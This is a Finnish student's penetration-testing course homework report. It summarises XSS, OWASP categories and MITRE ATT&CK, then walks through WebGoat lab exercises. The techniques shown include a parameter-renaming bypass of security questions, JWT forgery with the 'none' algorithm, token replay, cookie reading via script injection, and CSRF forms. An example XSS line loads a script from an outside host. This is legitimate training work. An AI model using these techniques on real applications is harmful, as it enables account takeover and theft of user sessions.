Tero Karvisen "Tunkeutumistestaus" Kurssi (Syksy 2021)

H3: Kotiläksyt

z: lue ja tiivistä

Cross-site scripting (XSS)

XSS - cross site scripting on metodi, jonka tarkoituksena on ajaa (injektoida) esimerkiksi JavaScript koodia käyttäjän selaimella.
XSS Reflected - sisällytetään koodia URL osoitteeseen. käyttäen script tagia.
XSS Stored - script tagin sisällä ajettavaa koodia tallenetaan nettisivujen lomakkeelle, esimerkiksi vieraskirjaan. Kaikki sivuille navigoivat käyttäjät ajavat koodia omalla selaimella.

OWASP 10-2017: A2 Broken Authentication

Sovellusta vastaan voidaan hyökätä esimerkiksi kokeilemalla erilaisia käyttäjätunnus/salasana -yhdistelmiä (=brute force).
Hyökkääjillä on käytössä salasanalistat ja automaattityökalut, joiden avulla hyökkäys voidaan suorittaa.
Voidaan estää esimerkiksi käytämällä 2FA:ta, hyviä salasanoja, session aikakatkaisulla.

OWASP 10-2017: A2 Broken Authentication

Arkaluontoisten tietojen vuotaminen voi tapahtua, jos tietoja ei olla suojattu kunnolla.
Yleisesti tapahtuu jos yhteyttä ei ole salattu ja tiedot välitetään selkokielisenä.

OWASP 10-2017: A7 Cross Site Scripting

Reflected XSS – Sovellus tai rajapinta hyväksyy validoimattoman ja filteröimättömän sisällön syöttämisen selaimessa (HTML ja JS)
Stored XSS – Sovellus tai rajapinta hyväksyy käyttäjän syöttämän tarkistamattoman sisällön tallentamisen sivuston sisällä, joka latautuu toiselle käyttäjälle samalla sivulla jälkeenpäin.
DOM XSS – Sovellus tai rajapinta kirjoittaa DOM:lle menevän datan ilman tarkistusta, joten hyökkääjä pääsee manipuloimaan tätä.

MITRE 2021: ATT&CK Enterprise Matrix

tactic - on vihollisen taktinen päämäärä, "miksi?" -kohta, syy vihollisen tekoon. Esimerkiksi Initial Access -taktiikka on tunkeutumisyritys kohteen verkkoon.
technique - "miten?" vihollinen saavuttaa taktisen päämäärän, eli keinot ja työkalut. Esimerkkinä Active Scanning - vihollinen suorittaa skannauksen löytääkseen kohteen potentiaalisesti heikot kohdat.
procedure - spesifiset vihollisen taktiikkoiden ja tekniikkoiden käyttämät työkalut. Esimerkiksi ARP Cache Poisoning - vihollinen muokkaa ARP välimuistin niin, että asettaa itsenä kahden tai useamman lähiverkon koneen "väliin".

z: Cross site story / XSS hyökkäys

Otetaan sellainen kuviteltu esimerkki, että meillä on verkkosivu, jossa on lomake (login form) johon käyttäjä voi syöttää käyttäjätunnuksen ja salasanan päästääkseen sisään. Lomake on kuitenkin suojattu huonosti, ja näin olleen hyökkääjä voi ajaa siinä omia kommentoja käyttäen script -tagia.

Hän voisi esimerkiksi ajaa scriptin jostain muusta palvelimesta ja lähettää sähköpostin jonnekin käyttäjän koneesta.<script src="http://coolhacks.io/smtp.js">email.send({parametrit})</script>

Sähköpostin sisällä voi olla vaikkapa haittaohjelma, joka asentaa takaportin kohteen koneeseen.

a: Vuohi

A2: Broken authentification

Ensimmäisessä tehtävässä yritin näppäillä random userin ja salasanan ja tarkistin sitten selaimen Network välilehdestä miltä pyyntö ja vastaus näytti. Request payload oli muotoa: secQuestion0=help&secQuestion1=help&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

Kokeilin editoida ja lähettää pyynnön uudestaan useammalla eri asetuksilla, mutta en onnistunut itse ratkaisemaan tehtävää. Yritin myös poistaa secQuestion0 ja secQuestion 1 parametrit kokonaan. Googlasin ratkaisun Cycubixin sivuilta. Ilmeisesti lomake odottaa vastausta kahteen eri kysymykseen, mutta toteutuksessa on virhe. Kun vaihtaa parametrien secQuestion0 ja secQuestion1 nimet joksikin muuksi, niin tehtävä onnistuu. Käytin itse seuraavaa requestia: secQuestion3=&secQuestion2&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746 ja tehtävä onnistui, paluuviestillä tuli seuraava JSON:

{
  "lessonCompleted" : true,
  "feedback" : "Congrats, you have successfully verified the account without actually verifying it. You can now change your password!",
  "output" : null,
  "assignment" : "VerifyAccount",
  "attemptWasMade" : true
}

Sivun uudelleenlatautumisen jälkeen tehtävä oli merkattu suoritetuksi.

Seuraavassa tehtävässä piti ratkaistaa JSON Web Tokenista (JWT) oikea username WebWolfin avulla. Minulla ei jostain syystä WebWolf suostunut toimimaan, mutta löysin tämän sivun, jonka avulla ratkaisin tehtävän:

Välilehden 5 tehtävä oli vielä vaikeampi. Kyseessä on äänestysjärjestelmä, jossa käyttäjät pystyvät äänestämään, mutta vain adminilla on oikeudet muokata ja poistaa ääniä. Lisäksi vierailija pääse katsomaan tämänhetkistä äänestystilannetta. Kun valitsemme käyttäjän ylävalikosta, huomaan Network välilehdessä POST requestin:

jwt.io:n kautta saan sen käännettyä luettavaan muotoon. Payload data on:

{
  "iat": 1637785962,
  "admin": "false",
  "user": "Jerry"
}

Tässä ei onnistu pelkästään admin parametrin muuttaminen "true" muotoon, sillä JWT:n pitää myös allekirjoittaa omalla secret avaimella.

Tämänkin rakaisun jouduin lopulta Googlamaan: WebGoatin Github:ista se lopulta löytyi. Salakirjoitusalgorytmiksi voi laittaa "None" arvon, jolloin salausta ei käytetä.

Kun muokataan alkuperäistä POST requestia, pitää muistaa laittaa JWT rivin perään piste (".")

{
  "lessonCompleted" : true,
  "feedback" : "Congratulations. You have successfully completed the assignment.",
  "output" : null,
  "assignment" : "JWTVotesEndpoint",
  "attemptWasMade" : true
}

Kalvon 10. Tehtävä.

Tehtävässä on esitetty viime vuoden lokitiedosto ja pyydetään etsimään keino tilamaan kirjat Tomin laskuun. Loki näyttää täältä:

194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"

Löydämme siinä vanhan tokenin eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8F, joka käännettynä näyttää täältä:

Muokataan sitä hiukan, jota päästään käyttämään sitä tulevaisuudessa

WebGoat tehtäväannossa oli linkki sivustoon, jossa kerrottiin haavoittovuudesta, jolloin hyökkäjällä on mahdollisuus käyttää omaa refresh / session tokenia toisen access tokenin päivättämiseen:

In theory this could have allowed an attacker to grab an old JWT access token (it doesn’t matter if it’s a day old or a year old – the token is cryptographically signed by the server so it would still be valid even if it has expired) and use a refresh token of a test account to get a brand new, valid access token for the victim account. The impact here is significant and it would be very difficult to revoke an access token in this scenario.

Kokeilaan lisätä POST requestiin Authentification kohtaan uusi JWT String:

Tadaam:

Viimeisessä tehtävässä jäin totaalisesti jumiin

A3: Sensitive Data Exporsure

Tässä tehtävässä on ilmeisesti tarkoitus vain sniffata liikennettä. Asensin Wiresharkin ja aktivoin http.request.method == POST suodattimen ja sain sniffattua paketin:

Koska tiedot lähetetään salamattomana, ne on helppo sniffata. Aina pitäisi käyttää https/SSL salausta!

A7: XSS

Ekassa tehtävässä piti harjoitella selaimen DevToolsin Console valikossa (F12) avamaalla kaksi välilehtia ja tarkistaa onko niiden keksit samoja kommennolla alert(document.cookie);. Ja nehän olivat:

Oikea vastaus on siis yes.

7 kalvon tehtävässä piti löytää haavoittuva kenttä, josta voisi ajaa omia scripteja. Se osoittautui olevan luottokorttikenttä:

Kokeilin myös ajaa console.log() komentoa seuraavasti: console.log(document.cookie); ja sain oman keksin: JSESSIONID=0b2rN81KWn9agV6ZBAA8QgTih7Cncoh1XFxU7gx7.

A8:2013 Request Forgeries

Harjoitus 3 ratkeaa sillä, että luodaan oma lomake jonneki erilliselle sivulle:

Kun painaa nappia niin Network välilehdestä saa POST requestiin vastaukseksi:

 {
  "flag" : 18602,
  "success" : true,
  "message" : "Congratulations! Appears you made the request from a separate host."
}

Toisessa tehtävässä oli arvostelulomake, jonka niin ikään kopion omalle sivulle:

Ja tämä onnistui myös:

{
  "lessonCompleted" : true,
  "feedback" : "It appears you have submitted correctly from another site. Go reload and see if your post is there.",
  "output" : null,
  "assignment" : "ForgedReviews",
  "attemptWasMade" : true
}

b: Attakin alatekniikat

Näitä käytimme kun tunkeduimme Metaspolitable 2 koneeseen:

Vulnerability Scanning - Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

Exploit Public-Facing Application - Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.